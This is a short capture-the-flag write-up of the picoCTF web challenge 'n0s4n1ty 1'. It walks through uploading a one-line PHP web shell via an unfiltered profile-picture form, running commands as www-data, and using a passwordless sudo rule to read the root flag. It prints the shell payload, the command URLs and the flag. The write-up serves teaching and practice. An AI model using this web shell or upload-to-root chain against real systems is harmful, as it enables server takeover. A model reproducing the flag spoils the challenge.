CTF writeup · · 1 min
picoCTF n0s4n1ty 1: File Upload to RCE to Root
An unfiltered profile-picture upload takes a PHP web shell, and a sudo misconfiguration turns www-data into root.
Challenge: n0s4n1ty 1
Category: Web Exploitation Goal: Get RCE through profile picture upload, escalate to root, and retrieve /root/flag.txt.
🔍 Step-by-Step Exploit Path
- Recon and Source Discovery
Found file upload form → upload.php

HTML showed no client-side filtering
Hints confirmed: input not sanitized
- Upload PHP Web Shell
text
Payload: <?php system($_GET['cmd']); ?>
Uploaded successfully as uploads/image.php

I then uploaded a php payload

Triggered with: .../image.php?cmd=id

Result: ✅ RCE as www-data
- Privilege Escalation – from the hiints given
Used: .../image.php?cmd=sudo+-l
Result:
(ALL) NOPASSWD: ALL

→ Full root access available with no password
- Flag Capture – I had to craft a payload to retrieve the flag located in the root directory (from description)
Command used:
.../image.php?cmd=sudo+cat+/root/flag.txt
Result:

text
Flag: picoCTF{wh47_c4n_u_d0_wPHP_56060bd8}
🧠 Lessons Learned
Always check upload endpoints for file extension bypasses
text
PHP is dangerous if system(), shell_exec(), or eval() are exposed
RCE can be chained with sudo misconfig to get full root access
A simple web shell can take you all the way to root
- CTF
- Web Security
- picoCTF
- RCE
- File Upload